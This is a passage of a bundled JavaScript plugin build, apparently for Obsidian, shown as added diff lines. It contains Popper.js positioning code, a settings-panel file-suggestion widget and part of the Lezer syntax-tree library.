VALID_PROPERTIES).filter(function(value, index, self2) { + return self2.indexOf(value) === index; + }).forEach(function(key) { + switch (key) { + case "name": + if (typeof modifier.name !== "string") { + console.error(format(INVALID_MODIFIER_ERROR, String(modifier.name), '"name"', '"string"', '"' + String(modifier.name) + '"')); + } + break; + case "enabled": + if (typeof modifier.enabled !== "boolean") { + console.error(format(INVALID_MODIFIER_ERROR, modifier.name, '"enabled"', '"boolean"', '"' + String(modifier.enabled) + '"')); + } + break; + case "phase": + if (modifierPhases.indexOf(modifier.phase) < 0) { + console.error(format(INVALID_MODIFIER_ERROR, modifier.name, '"phase"', "either " + modifierPhases.join(", "), '"' + String(modifier.phase) + '"')); + } + break; + case "fn": + if (typeof modifier.fn !== "function") { + console.error(format(INVALID_MODIFIER_ERROR, modifier.name, '"fn"', '"function"', '"' + String(modifier.fn) + '"')); + } + break; + case "effect": + if (modifier.effect != null && typeof modifier.effect !== "function") { + console.error(format(INVALID_MODIFIER_ERROR, modifier.name, '"effect"', '"function"', '"' + String(modifier.fn) + '"')); + } + break; + case "requires": + if (modifier.requires != null && !Array.isArray(modifier.requires)) { + console.error(format(INVALID_MODIFIER_ERROR, modifier.name, '"requires"', '"array"', '"' + String(modifier.requires) + '"')); + } + break; + case "requiresIfExists": + if (!Array.isArray(modifier.requiresIfExists)) { + console.error(format(INVALID_MODIFIER_ERROR, modifier.name, '"requiresIfExists"', '"array"', '"' + String(modifier.requiresIfExists) + '"')); + } + break; + case "options": + case "data": + break; + default: + console.error('PopperJS: an invalid property has been provided to the "' + modifier.name + '" modifier, valid properties are ' + VALID_PROPERTIES.map(function(s) { + return '"' + s + '"'; + }).join(", ") + '; but "' + key + '" was provided.'); + } + modifier.requires && modifier.requires.forEach(function(requirement) { + if (modifiers.find(function(mod) { + return mod.name === requirement; + }) == null) { + console.error(format(MISSING_DEPENDENCY_ERROR, String(modifier.name), requirement, requirement)); + } + }); + }); + }); +} + +// node_modules/@popperjs/core/lib/utils/uniqueBy.js +function uniqueBy(arr, fn2) { + var identifiers = /* @__PURE__ */ new Set(); + return arr.filter(function(item) { + var identifier = fn2(item); + if (!identifiers.has(identifier)) { + identifiers.add(identifier); + return true; + } + }); +} + +// node_modules/@popperjs/core/lib/utils/mergeByName.js +function mergeByName(modifiers) { + var merged = modifiers.reduce(function(merged2, current) { + var existing = merged2[current.name]; + merged2[current.name] = existing ? Object.assign({}, existing, current, { + options: Object.assign({}, existing.options, current.options), + data: Object.assign({}, existing.data, current.data) + }) : current; + return merged2; + }, {}); + return Object.keys(merged).map(function(key) { + return merged[key]; + }); +} + +// node_modules/@popperjs/core/lib/createPopper.js +var INVALID_ELEMENT_ERROR = "Popper: Invalid reference or popper argument provided. They must be either a DOM element or virtual element."; +var INFINITE_LOOP_ERROR = "Popper: An infinite loop in the modifiers cycle has been detected! The cycle has been interrupted to prevent a browser crash."; +var DEFAULT_OPTIONS = { + placement: "bottom", + modifiers: [], + strategy: "absolute" +}; +function areValidElements() { + for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { + args[_key] = arguments[_key]; + } + return !args.some(function(element) { + return !(element && typeof element.getBoundingClientRect === "function"); + }); +} +function popperGenerator(generatorOptions) { + if (generatorOptions === void 0) { + generatorOptions = {}; + } + var _generatorOptions = generatorOptions, _generatorOptions$def = _generatorOptions.defaultModifiers, defaultModifiers2 = _generatorOptions$def === void 0 ? [] : _generatorOptions$def, _generatorOptions$def2 = _generatorOptions.defaultOptions, defaultOptions = _generatorOptions$def2 === void 0 ? DEFAULT_OPTIONS : _generatorOptions$def2; + return function createPopper2(reference2, popper2, options) { + if (options === void 0) { + options = defaultOptions; + } + var state = { + placement: "bottom", + orderedModifiers: [], + options: Object.assign({}, DEFAULT_OPTIONS, defaultOptions), + modifiersData: {}, + elements: { + reference: reference2, + popper: popper2 + }, + attributes: {}, + styles: {} + }; + var effectCleanupFns = []; + var isDestroyed = false; + var instance2 = { + state, + setOptions: function setOptions(setOptionsAction) { + var options2 = typeof setOptionsAction === "function" ? setOptionsAction(state.options) : setOptionsAction; + cleanupModifierEffects(); + state.options = Object.assign({}, defaultOptions, state.options, options2); + state.scrollParents = { + reference: isElement(reference2) ? listScrollParents(reference2) : reference2.contextElement ? listScrollParents(reference2.contextElement) : [], + popper: listScrollParents(popper2) + }; + var orderedModifiers = orderModifiers(mergeByName([].concat(defaultModifiers2, state.options.modifiers))); + state.orderedModifiers = orderedModifiers.filter(function(m) { + return m.enabled; + }); + if (true) { + var modifiers = uniqueBy([].concat(orderedModifiers, state.options.modifiers), function(_ref) { + var name = _ref.name; + return name; + }); + validateModifiers(modifiers); + if (getBasePlacement(state.options.placement) === auto) { + var flipModifier = state.orderedModifiers.find(function(_ref2) { + var name = _ref2.name; + return name === "flip"; + }); + if (!flipModifier) { + console.error(['Popper: "auto" placements require the "flip" modifier be', "present and enabled to work."].join(" ")); + } + } + var _getComputedStyle = getComputedStyle(popper2), marginTop = _getComputedStyle.marginTop, marginRight = _getComputedStyle.marginRight, marginBottom = _getComputedStyle.marginBottom, marginLeft = _getComputedStyle.marginLeft; + if ([marginTop, marginRight, marginBottom, marginLeft].some(function(margin) { + return parseFloat(margin); + })) { + console.warn(['Popper: CSS "margin" styles cannot be used to apply padding', "between the popper and its reference element or boundary.", "To replicate margin, use the `offset` modifier, as well as", "the `padding` option in the `preventOverflow` and `flip`", "modifiers."].join(" ")); + } + } + runModifierEffects(); + return instance2.update(); + }, + // Sync update – it will always be executed, even if not necessary. This + // is useful for low frequency updates where sync behavior simplifies the + // logic. + // For high frequency updates (e.g. `resize` and `scroll` events), always + // prefer the async Popper#update method + forceUpdate: function forceUpdate() { + if (isDestroyed) { + return; + } + var _state$elements = state.elements, reference3 = _state$elements.reference, popper3 = _state$elements.popper; + if (!areValidElements(reference3, popper3)) { + if (true) { + console.error(INVALID_ELEMENT_ERROR); + } + return; + } + state.rects = { + reference: getCompositeRect(reference3, getOffsetParent(popper3), state.options.strategy === "fixed"), + popper: getLayoutRect(popper3) + }; + state.reset = false; + state.placement = state.options.placement; + state.orderedModifiers.forEach(function(modifier) { + return state.modifiersData[modifier.name] = Object.assign({}, modifier.data); + }); + var __debug_loops__ = 0; + for (var index = 0; index < state.orderedModifiers.length; index++) { + if (true) { + __debug_loops__ += 1; + if (__debug_loops__ > 100) { + console.error(INFINITE_LOOP_ERROR); + break; + } + } + if (state.reset === true) { + state.reset = false; + index = -1; + continue; + } + var _state$orderedModifie = state.orderedModifiers[index], fn2 = _state$orderedModifie.fn, _state$orderedModifie2 = _state$orderedModifie.options, _options = _state$orderedModifie2 === void 0 ? {} : _state$orderedModifie2, name = _state$orderedModifie.name; + if (typeof fn2 === "function") { + state = fn2({ + state, + options: _options, + name, + instance: instance2 + }) || state; + } + } + }, + // Async and optimistically optimized update – it will not be executed if + // not necessary (debounced to run at most once-per-tick) + update: debounce2(function() { + return new Promise(function(resolve) { + instance2.forceUpdate(); + resolve(state); + }); + }), + destroy: function destroy() { + cleanupModifierEffects(); + isDestroyed = true; + } + }; + if (!areValidElements(reference2, popper2)) { + if (true) { + console.error(INVALID_ELEMENT_ERROR); + } + return instance2; + } + instance2.setOptions(options).then(function(state2) { + if (!isDestroyed && options.onFirstUpdate) { + options.onFirstUpdate(state2); + } + }); + function runModifierEffects() { + state.orderedModifiers.forEach(function(_ref3) { + var name = _ref3.name, _ref3$options = _ref3.options, options2 = _ref3$options === void 0 ? {} : _ref3$options, effect4 = _ref3.effect; + if (typeof effect4 === "function") { + var cleanupFn = effect4({ + state, + name, + instance: instance2, + options: options2 + }); + var noopFn = function noopFn2() { + }; + effectCleanupFns.push(cleanupFn || noopFn); + } + }); + } + function cleanupModifierEffects() { + effectCleanupFns.forEach(function(fn2) { + return fn2(); + }); + effectCleanupFns = []; + } + return instance2; + }; +} + +// node_modules/@popperjs/core/lib/popper.js +var defaultModifiers = [eventListeners_default, popperOffsets_default, computeStyles_default, applyStyles_default, offset_default, flip_default, preventOverflow_default, arrow_default, hide_default]; +var createPopper = /* @__PURE__ */ popperGenerator({ + defaultModifiers +}); + +// src/settings/ui/suggest.ts +var import_obsidian2 = require("obsidian"); +var wrapAround = (value, size) => { + return (value % size + size) % size; +}; +var Suggest = class { + constructor(owner, containerEl, scope) { + this.owner = owner; + this.containerEl = containerEl; + containerEl.on("click", ".suggestion-item", this.onSuggestionClick.bind(this)); + containerEl.on( + "mousemove", + ".suggestion-item", + this.onSuggestionMouseover.bind(this) + ); + scope.register([], "ArrowUp", (event) => { + if (!event.isComposing) { + this.setSelectedItem(this.selectedItem - 1, true); + return false; + } + }); + scope.register([], "ArrowDown", (event) => { + if (!event.isComposing) { + this.setSelectedItem(this.selectedItem + 1, true); + return false; + } + }); + scope.register([], "Enter", (event) => { + if (!event.isComposing) { + this.useSelectedItem(event); + return false; + } + }); + } + onSuggestionClick(event, el) { + event.preventDefault(); + const item = this.suggestions.indexOf(el); + this.setSelectedItem(item, false); + this.useSelectedItem(event); + } + onSuggestionMouseover(_event, el) { + const item = this.suggestions.indexOf(el); + this.setSelectedItem(item, false); + } + setSuggestions(values) { + this.containerEl.empty(); + const suggestionEls = []; + values.forEach((value) => { + const suggestionEl = this.containerEl.createDiv("suggestion-item"); + this.owner.renderSuggestion(value, suggestionEl); + suggestionEls.push(suggestionEl); + }); + this.values = values; + this.suggestions = suggestionEls; + this.setSelectedItem(0, false); + } + useSelectedItem(event) { + const currentValue = this.values[this.selectedItem]; + if (currentValue) { + this.owner.selectSuggestion(currentValue, event); + } + } + setSelectedItem(selectedIndex, scrollIntoView) { + const normalizedIndex = wrapAround(selectedIndex, this.suggestions.length); + const prevSelectedSuggestion = this.suggestions[this.selectedItem]; + const selectedSuggestion = this.suggestions[normalizedIndex]; + prevSelectedSuggestion == null ? void 0 : prevSelectedSuggestion.removeClass("is-selected"); + selectedSuggestion == null ? void 0 : selectedSuggestion.addClass("is-selected"); + this.selectedItem = normalizedIndex; + if (scrollIntoView) { + selectedSuggestion.scrollIntoView(false); + } + } +}; +var TextInputSuggest = class { + constructor(app, inputEl) { + this.app = app; + this.inputEl = inputEl; + this.scope = new import_obsidian2.Scope(); + this.suggestEl = createDiv("suggestion-container"); + const suggestion = this.suggestEl.createDiv("suggestion"); + this.suggest = new Suggest(this, suggestion, this.scope); + this.scope.register([], "Escape", this.close.bind(this)); + this.inputEl.addEventListener("input", this.onInputChanged.bind(this)); + this.inputEl.addEventListener("focus", this.onInputChanged.bind(this)); + this.inputEl.addEventListener("blur", this.close.bind(this)); + this.suggestEl.on("mousedown", ".suggestion-container", (event) => { + event.preventDefault(); + }); + } + onInputChanged() { + const inputStr = this.inputEl.value; + const suggestions = this.getSuggestions(inputStr); + if (suggestions.length > 0) { + this.suggest.setSuggestions(suggestions); + this.open(this.app.dom.appContainerEl, this.inputEl); + } + } + open(container, inputEl) { + this.app.keymap.pushScope(this.scope); + container.appendChild(this.suggestEl); + this.popper = createPopper(inputEl, this.suggestEl, { + placement: "bottom-start", + modifiers: [ + { + name: "sameWidth", + enabled: true, + fn: ({ state, instance: instance2 }) => { + const targetWidth = `${state.rects.reference.width}px`; + if (state.styles.popper.width === targetWidth) { + return; + } + state.styles.popper.width = targetWidth; + instance2.update(); + }, + phase: "beforeWrite", + requires: ["computeStyles"] + } + ] + }); + } + close() { + this.app.keymap.popScope(this.scope); + this.suggest.setSuggestions([]); + this.popper.destroy(); + this.suggestEl.detach(); + } +}; + +// src/settings/ui/file_suggest.ts +var FileSuggest = class extends TextInputSuggest { + getSuggestions(inputStr) { + const files = []; + const lowerCaseInputStr = inputStr.toLowerCase(); + import_obsidian3.Vault.recurseChildren(this.app.vault.getRoot(), (file) => { + if (file.path.toLowerCase().contains(lowerCaseInputStr)) { + files.push(file); + } + }); + return files; + } + renderSuggestion(file, el) { + el.setText(file.path); + } + selectSuggestion(file) { + this.inputEl.value = file.path; + this.inputEl.trigger("input"); + this.close(); + } +}; + +// src/settings/ui/snippets_editor/extensions.ts +var import_view3 = require("@codemirror/view"); +var import_state2 = require("@codemirror/state"); + +// node_modules/@lezer/common/dist/index.js +var DefaultBufferLength = 1024; +var nextPropID = 0; +var Range = class { + constructor(from, to) { + this.from = from; + this.to = to; + } +}; +var NodeProp = class { + /** + Create a new node prop type. + */ + constructor(config2 = {}) { + this.id = nextPropID++; + this.perNode = !!config2.perNode; + this.deserialize = config2.deserialize || (() => { + throw new Error("This node type doesn't define a deserialize function"); + }); + } + /** + This is meant to be used with + [`NodeSet.extend`](#common.NodeSet.extend) or + [`LRParser.configure`](#lr.ParserConfig.props) to compute + prop values for each node type in the set. Takes a [match + object](#common.NodeType^match) or function that returns undefined + if the node type doesn't get this prop, and the prop's value if + it does. + */ + add(match) { + if (this.perNode) + throw new RangeError("Can't add per-node props to node types"); + if (typeof match != "function") + match = NodeType.match(match); + return (type) => { + let result = match(type); + return result === void 0 ? null : [this, result]; + }; + } +}; +NodeProp.closedBy = new NodeProp({ deserialize: (str) => str.split(" ") }); +NodeProp.openedBy = new NodeProp({ deserialize: (str) => str.split(" ") }); +NodeProp.group = new NodeProp({ deserialize: (str) => str.split(" ") }); +NodeProp.contextHash = new NodeProp({ perNode: true }); +NodeProp.lookAhead = new NodeProp({ perNode: true }); +NodeProp.mounted = new NodeProp({ perNode: true }); +var MountedTree = class { + constructor(tree, overlay, parser2) { + this.tree = tree; + this.overlay = overlay; + this.parser = parser2; + } + /** + @internal + */ + static get(tree) { + return tree && tree.props && tree.props[NodeProp.mounted.id]; + } +}; +var noProps = /* @__PURE__ */ Object.create(null); +var NodeType = class _NodeType { + /** + @internal + */ + constructor(name, props, id2, flags = 0) { + this.name = name; + this.props = props; + this.id = id2; + this.flags = flags; + } + /** + Define a node type. + */ + static define(spec) { + let props = spec.props && spec.props.length ? /* @__PURE__ */ Object.create(null) : noProps; + let flags = (spec.top ? 1 : 0) | (spec.skipped ? 2 : 0) | (spec.error ? 4 : 0) | (spec.name == null ? 8 : 0); + let type = new _NodeType(spec.name || "", props, spec.id, flags); + if (spec.props) + for (let src of spec.props) { + if (!Array.isArray(src)) + src = src(type); + if (src) { + if (src[0].perNode) + throw new RangeError("Can't store a per-node prop on a node type"); + props[src[0].id] = src[1]; + } + } + return type; + } + /** + Retrieves a node prop for this type. Will return `undefined` if + the prop isn't present on this node. + */ + prop(prop) { + return this.props[prop.id]; + } + /** + True when this is the top node of a grammar. + */ + get isTop() { + return (this.flags & 1) > 0; + } + /** + True when this node is produced by a skip rule. + */ + get isSkipped() { + return (this.flags & 2) > 0; + } + /** + Indicates whether this is an error node. + */ + get isError() { + return (this.flags & 4) > 0; + } + /** + When true, this node type doesn't correspond to a user-declared + named node, for example because it is used to cache repetition. + */ + get isAnonymous() { + return (this.flags & 8) > 0; + } + /** + Returns true when this node's name or one of its + [groups](#common.NodeProp^group) matches the given string. + */ + is(name) { + if (typeof name == "string") { + if (this.name == name) + return true; + let group = this.prop(NodeProp.group); + return group ? group.indexOf(name) > -1 : false; + } + return this.id == name; + } + /** + Create a function from node types to arbitrary values by + specifying an object whose property names are node or + [group](#common.NodeProp^group) names. Often useful with + [`NodeProp.add`](#common.NodeProp.add). You can put multiple + names, separated by spaces, in a single property name to map + multiple node names to a single value. + */ + static match(map) { + let direct = /* @__PURE__ */ Object.create(null); + for (let prop in map) + for (let name of prop.split(" ")) + direct[name] = map[prop]; + return (node) => { + for (let groups = node.prop(NodeProp.group), i = -1; i < (groups ? groups.length : 0); i++) { + let found = direct[i < 0 ? node.name : groups[i]]; + if (found) + return found; + } + }; + } +}; +NodeType.none = new NodeType( + "", + /* @__PURE__ */ Object.create(null), + 0, + 8 + /* NodeFlag.Anonymous */ +); +var NodeSet = class _NodeSet { + /** + Create a set with the given types. The `id` property of each + type should correspond to its position within the array. + */ + constructor(types) { + this.types = types; + for (let i = 0; i < types.length; i++) + if (types[i].id != i) + throw new RangeError("Node type ids should correspond to array positions when creating a node set"); + } + /** + Create a copy of this set with some node properties added. The + arguments to this method can be created with + [`NodeProp.add`](#common.NodeProp.add). + */ + extend(...props) { + let newTypes = []; + for (let type of this.types) { + let newProps = null; + for (let source of props) { + let add = source(type); + if (add) { + if (!newProps) + newProps = Object.assign({}, type.props); + newProps[add[0].id] = add[1]; + } + } + newTypes.push(newProps ? new NodeType(type.name, newProps, type.id, type.flags) : type); + } + return new _NodeSet(newTypes); + } +}; +var CachedNode = /* @__PURE__ */ new WeakMap(); +var CachedInnerNode = /* @__PURE__ */ new WeakMap(); +var IterMode; +(function(IterMode2) { + IterMode2[IterMode2["ExcludeBuffers"] = 1] = "ExcludeBuffers"; + IterMode2[IterMode2["IncludeAnonymous"] = 2] = "IncludeAnonymous"; + IterMode2[IterMode2["IgnoreMounts"] = 4] = "IgnoreMounts"; + IterMode2[IterMode2["IgnoreOverlays"] = 8] = "IgnoreOverlays"; +})(IterMode || (IterMode = {})); +var Tree = class _Tree { + /** + Construct a new tree. See also [`Tree.build`](#common.Tree^build). + */ + constructor(type, children, positions, length, props) { + this.type = type; + this.children = children; + this.positions = positions; + this.length = length; + this.props = null; + if (props && props.length) { + this.props = /* @__PURE__ */ Object.create(null); + for (let [prop, value] of props) + this.props[typeof prop == "number" ? prop : prop.id] = value; + } + } + /** + @internal + */ + toString() { + let mounted = MountedTree.get(this); + if (mounted && !mounted.overlay) + return mounted.tree.toString(); + let children = ""; + for (let ch of this.children) { + let str = ch.toString(); + if (str) { + if (children) + children += ","; + children += str; + } + } + return !this.type.name ? children : (/\W/.test(this.type.name) && !this.type.isError ? JSON.stringify(this.type.name) : this.type.name) + (children.length ? "(" + children + ")" : ""); + } + /** + Get a [tree cursor](#common.TreeCursor) positioned at the top of + the tree. Mode can be used to [control](#common.IterMode) which + nodes the cursor visits. + */ + cursor(mode = 0) { + return new TreeCursor(this.topNode, mode); + } + /** + Get a [tree cursor](#common.TreeCursor) pointing into this tree + at the given position and side (see + [`moveTo`](#common.TreeCursor.moveTo). + */ + cursorAt(pos, side = 0, mode = 0) { + let scope = CachedNode.get(this) || this.topNode; + let cursor = new TreeCursor(scope); + cursor.moveTo(pos, side); + CachedNode.set(this, cursor._tree); + return cursor; + } + /** + Get a [syntax node](#common.SyntaxNode) object for the top of the + tree. + */ + get topNode() { + return new TreeNode(this, 0, 0, null); + } + /** + Get the [syntax node](#common.SyntaxNode) at the given position. + If `side` is -1, this will move into nodes that end at the + position. If 1, it'll move into nodes that start at the + position. With 0, it'll only enter nodes that cover the position + from both sides. + + Note that this will not enter + [overlays](#common.MountedTree.overlay), and you often want + [`resolveInner`](#common.Tree.resolveInner) instead. + */ + resolve(pos, side = 0) { + let node = resolveNode(CachedNode.get(this) || this.topNode, pos, side, false); + CachedNode.set(this, node); + return node; + } + /** + Like [`resolve`](#common.Tree.resolve), but will enter + [overlaid](#common.MountedTree.overlay) nodes, producing a syntax node + pointing into the innermost overlaid tree at the given position + (with parent links going through all parent structure, including + the host trees). + */ + resolveInner(pos, side = 0) { + let node = resolveNode(CachedInnerNode.get(this) || this.topNode, pos, side, true); + CachedInnerNode.set(this, node); + return node; + } + /** + In some situations, it can be useful to iterate through all + nodes around a position, including those in overlays that don't + directly cover the position. This method gives you an iterator + that will produce all nodes, from small to big, around the given + position. + */ + resolveStack(pos, side = 0) { + return stackIterator(this, pos, side); + } + /** + Iterate over the tree and its children, calling `enter` for any + node that touches the `from`/`to` region (if given) before + running over such a node's children, and `leave` (if given) when + leaving the node. When `enter` returns `false`, that node will + not have its children iterated over (or `leave` called). + */ + iterate(spec) { + let { enter, leave, from = 0, to = this.length } = spec; + let mode = spec.mode || 0, anon = (mode & IterMode.IncludeAnonymous) > 0; + for (let c = this.cursor(mode | IterMode.IncludeAnonymous); ; ) { + let entered = false; + if (c.from <= to && c.to >= from && (!anon && c.type.isAnonymous || enter(c) !== false)) { + if (c.firstChild()) + continue; + entered = true; + } + for (; ; ) { + if (entered && leave && (anon || !c.type.isAnonymous)) + leave(c); + if (c.nextSibling()) + break; + if (!c.parent()) + return; + entered = true; + } + } + } + /** + Get the value of the given [node prop](#common.NodeProp) for this + node. Works with both per-node and per-type props. + */ + prop(prop) { + return !prop.perNode ? this.type.prop(prop) : this.props ? this.props[prop.id] : void 0; + } + /** + Returns the node's [per-node props](#common.NodeProp.perNode) in a + format that can be passed to the [`Tree`](#common.Tree) + constructor. + */ + get propValues() { + let result = []; + if (this.props) + for (let id2 in this.props) + result.push([+id2, this.props[id2]]); + return result; + } + /** + Balance the direct children of this tree, producing a copy of + which may have children grouped into subtrees with type + [`NodeType.none`](#common.NodeType^none). + */ + balance(config2 = {}) { + return this.children.length <= 8 ? this : balanceRange(NodeType.none, this.children, this.positions, 0, this.children.length, 0, this.length, (children, positions, length) => new _Tree(this.type, children, positions, length, this.propValues), config2.makeTree || ((children, positions, length) => new _Tree(NodeType.none, children, positions, length))); + } + /** + Build a tree from a postfix-ordered buffer of node information, + or a cursor over such a buffer. + */ + static build(data) { + return buildTree(data); + } +}; +Tree.empty = new Tree(NodeType.none, [], [], 0); +var FlatBufferCursor = class _FlatBufferCursor { + constructor(buffer, index) { + this.buffer = buffer; + this.index = index; + } + get id() { + return this.buffer[this.index - 4]; + } + get start() { + return this.buffer[this.index - 3]; + } + get end() { + return this.buffer[this.index - 2]; + } + get size() { + return this.buffer[this.index - 1]; + } + get pos() { + return this.index; + } + next() { + this.index -= 4; + } + fork() { + return new _FlatBufferCursor(this.buffer, this.index); + } +}; +var TreeBuffer = class _TreeBuffer { + /** + Create a tree buffer. + */ + constructor(buffer, length, set) { + this.buffer = buffer; + this.length = length; + this.set = set; + } + /** + @internal + */ + get type() { + return NodeType.none; + } + /** + @internal + */ + toString() { + let result = []; + for (let index = 0; index < this.buffer.length; ) { + result.push(this.childString(index)); + index = this.buffer[index + 3]; + } + return result.join(","); + } + /** + @internal + */ + childString(index) { + let id2 = this.buffer[index], endIndex = this.buffer[index + 3]; + let type = this.set.types[id2], result = type.name; + if (/\W/.test(result) && !type.isError) + result = JSON.stringify(result); + index += 4; + if (endIndex == index) + return result; + let children = []; + while (index < endIndex) { + children.push(this.childString(index)); + index = this.buffer[index + 3]; + } + return result + "(" + children.join(",") + ")"; + } + /** + @internal + */ + findChild(startIndex, endIndex, dir, pos, side) { + let { buffer } = this, pick = -1; + for (let i = startIndex; i != endIndex; i = buffer[i + 3]) { + if (checkSide(side, pos, buffer[i + 1], buffer[i + 2])) { + pick = i; + if (dir > 0) + break; + } + } + return pick; + } + /** + @internal + */ + slice(startI, endI, from) { + let b = this.buffer; + let copy = new Uint16Array(endI - startI), len = 0; + for (let i = startI, j = 0; i < endI; ) { + copy[j++] = b[i++]; + copy[j++] = b[i++] - from; + let to = copy[j++] = b[i++] - from; + copy[j++] = b[i++] - startI; + len = Math.max(len, to); + } + return new _TreeBuffer(copy, len, this.set); + } +}; +function checkSide(side, pos, from, to) { + switch (side) { + case -2: + return from < pos; + case -1: + return to >= pos && from < pos; + case 0: + return from < pos && to > pos; + case 1: + return from <= pos && to > pos; + case 2: + return to > pos; + case 4: + return true; + } +} +function resolveNode(node, pos, side, overlays) { + var _a; + while (node.from == node.to || (side < 1 ? node.from >= pos : node.from > pos) || (side > -1 ? node.to <= pos : node.to < pos)) { + let parent = !overlays && node instanceof TreeNode && node.index < 0 ? null : node.parent; + if (!parent) + return node; + node = parent; + } + let mode = overlays ? 0 : IterMode.IgnoreOverlays; + if (overlays) + for (let scan = node, parent = scan.parent; parent; scan = parent, parent = scan.parent) { + if (scan instanceof TreeNode && scan.index < 0 && ((_a = parent.enter(pos, side, mode)) === null || _a === void 0 ? void 0 : _a.from) != scan.from) + node = parent; + } + for (; ; ) { + let inner = node.enter(pos, side, mode); + if (!inner) + return node; + node = inner; + } +} +var BaseNode = class { + cursor(mode = 0) { + return new TreeCursor(this, mode); + } + getChild(type, before = null, after = null) { + let r = getChildren(this, type, before, after); + return r.length ? r[0] : null; + } + getChildren(type, before = null, after = null) { + return getChildren(this, type, before, after); + } + resolve(pos, side = 0) { + return resolveNode(this, pos, side, false); + } + resolveInner(pos, side = 0) { + return resolveNode(this, pos, side, true); + } + matchContext(context) { + return matchNodeContext(this, context); + } + enterUnfinishedNodesBefore(pos) { + let scan = this.childBefore(pos), node = this; + while (scan) { + let last = scan.lastChild; + if (!last || last.to != scan.to) + break; + if (last.type.isError && last.from == last.to) { + node = scan; + scan = last.prevSibling; + } else { + scan = last; + } + } + return node; + } + get node() { + return this; + } + get next() { + return this.parent; + } +}; +var TreeNode = class _TreeNode extends BaseNode { + constructor(_tree, from, index, _parent) { + super(); + this._tree = _tree; + this.from = from; + this.index = index; + this._parent = _parent; + } + get type() { + return this._tree.type; + } + get name() { + return this._tree.type.name; + } + get to() { + return this.from + this._tree.length; + } + nextChild(i, dir, pos, side, mode = 0) { + for (let parent = this; ; ) { + for (let { children, positions } = parent._tree, e = dir > 0 ? children.length : -1; i != e; i += dir) { + let next = children[i], start2 = positions[i] + parent.from; + if (!checkSide(side, pos, start2, start2 + next.length)) + continue; + if (next instanceof TreeBuffer) { + if (mode & IterMode.ExcludeBuffers) + continue; + let index = next.findChild(0, next.buffer.length, dir, pos - start2, side); + if (index > -1) + return new BufferNode(new BufferContext(parent, next, i, start2), null, index); + } else if (mode & IterMode.IncludeAnonymous || (!next.type.isAnonymous || hasChild(next))) { + let mounted; + if (!(mode & IterMode.IgnoreMounts) && (mounted = MountedTree.get(next)) && !mounted.overlay) + return new _TreeNode(mounted.tree, start2, i, parent); + let inner = new _TreeNode(next, start2, i, parent); + return mode & IterMode.IncludeAnonymous || !inner.type.isAnonymous ? inner : inner.nextChild(dir < 0 ? next.children.length - 1 : 0, dir, pos, side); + } + } + if (mode & IterMode.IncludeAnonymous || !parent.type.isAnonymous) + return null; + if (parent.index >= 0) + i = parent.index + dir; + else + i = dir < 0 ? -1 : parent._parent._tree.children.length; + parent = parent._parent; + if (!parent) + return null; + } + } + get firstChild() { + return this.nextChild( + 0, + 1, + 0, + 4 + /* Side.DontCare */ + ); + } + get lastChild() { + return this.nextChild( + this._tree.children.length - 1, + -1, + 0, + 4 + /* Side.DontCare */ + ); + } + childAfter(pos) { + return this.nextChild( + 0, + 1, + pos, + 2 + /* Side.After */ + ); + } + childBefore(pos) { + return this.nextChild( + this._tree.children.length - 1, + -1, + pos, + -2 + /* Side.Before */ + ); + } + enter(pos, side, mode = 0) { + let mounted; + if (!(mode & IterMode.IgnoreOverlays) && (mounted = MountedTree.get(this._tree)) && mounted.overlay) { + let rPos = pos - this.from; + for (let { from, to } of mounted.overlay) { + if ((side > 0 ? from <= rPos : from < rPos) && (side < 0 ? to >= rPos : to > rPos)) + return new _TreeNode(mounted.tree, mounted.overlay[0].from + this.from, -1, this); + } + } + return this.nextChild(0, 1, pos, side, mode); + } + nextSignificantParent() { + let val = this; + while (val.type.isAnonymous && val._parent) + val = val._parent; + return val; + } + get parent() { + return this._parent ? this._parent.nextSignificantParent() : null; + } + get nextSibling() { + return this._parent && this.index >= 0 ? this._parent.nextChild( + this.index + 1, + 1, + 0, + 4 + /* Side.DontCare */ + ) : null; + } + get prevSibling() { + return this._parent && this.index >= 0 ? this._parent.nextChild( + this.index - 1, + -1, + 0, + 4 + /* Side.DontCare */ + ) : null; + } + get tree() { + return this._tree; + } + toTree() { + return this._tree; + } + /** + @internal + */ + toString() { + return this._tree.toString(); + } +}; +function getChildren(node, type, before, after) { + let cur = node.cursor(), result = []; + if (!cur.firstChild()) + return result; + if (before != null) { + while (!cur.type.is(before)) + if (!cur.nextSibling()) + return result; + } + for (; ; ) { + if (after != null && cur.type.is(after)) + return result; + if (cur.type.is(type)) + result.push(cur.node); + if (!cur.nextSibling()) + return after == null ? result : []; + } +} +function matchNodeContext(node, context, i = context.length - 1) { + for (let p = node.parent; i >= 0; p = p.parent) { + if (!p) + return false; + if (!p.type.isAnonymous) { + if (context[i] && context[i] != p.name) + return false; + i--; + } + } + return true; +} +var BufferContext = class { + constructor(parent, buffer, index, start2) { + this.parent = parent; + this.buffer = buffer; + this.index = index; + this.start = start2; + } +}; +var BufferNode = class _BufferNode extends BaseNode { + get name() { + return this.type.name; + } + get from() { + return this.context.start + this.context.buffer.buffer[this.index + 1]; + } + get to() { + return this.context.start + this.context.buffer.buffer[this.index + 2]; + } + constructor(context, _parent, index) { + super(); + this.context = context; + this._parent = _parent; + this.index = index; + this.type = context.buffer.set.types[context.buffer.buffer[index]]; + } + child(dir, pos, side) { + let { buffer } = this.context; + let index = buffer.findChild(this.index + 4, buffer.buffer[this.index + 3], dir, pos - this.context.start, side); + return index < 0 ? null : new _BufferNode(this.context, this, index); + } + get firstChild() { + return this.child( + 1, + 0, + 4 + /* Side.DontCare */ + ); + } + get lastChild() { + return this.child( + -1, + 0, + 4 + /* Side.DontCare */ + ); + } + childAfter(pos) { + return this.child( + 1, + pos, + 2 + /* Side.After */ + ); + } + childBefore(pos) { + return this.child( + -1, + pos, + -2 + /* Side.Before */ + ); + } + enter(pos, side, mode = 0) { + if (mode & IterMode.ExcludeBuffers) + return null; + let { buffer } = this.context; + let index = buffer.findChild(this.index + 4, buffer.buffer[this.index + 3], side > 0 ? 1 : -1, pos - this.context.start, side); + return index < 0 ? null : new _BufferNode(this.context, this, index); + } + get parent() { + return this._parent || this.context.parent.nextSignificantParent(); + } + externalSibling(dir) { + return this._parent ? null : this.context.parent.nextChild( + this.context.index + dir, + dir, + 0, + 4 + /* Side.DontCare */ + ); + } + get nextSibling() { + let { buffer } = this.context; + let after = buffer.buffer[this.index + 3]; + if (after < (this._parent ? buffer.buffer[this._parent.index + 3] : buffer.buffer.length)) + return new _BufferNode(this.context, this._parent, after); + return this.externalSibling(1); + } + get prevSibling() { + let { buffer } 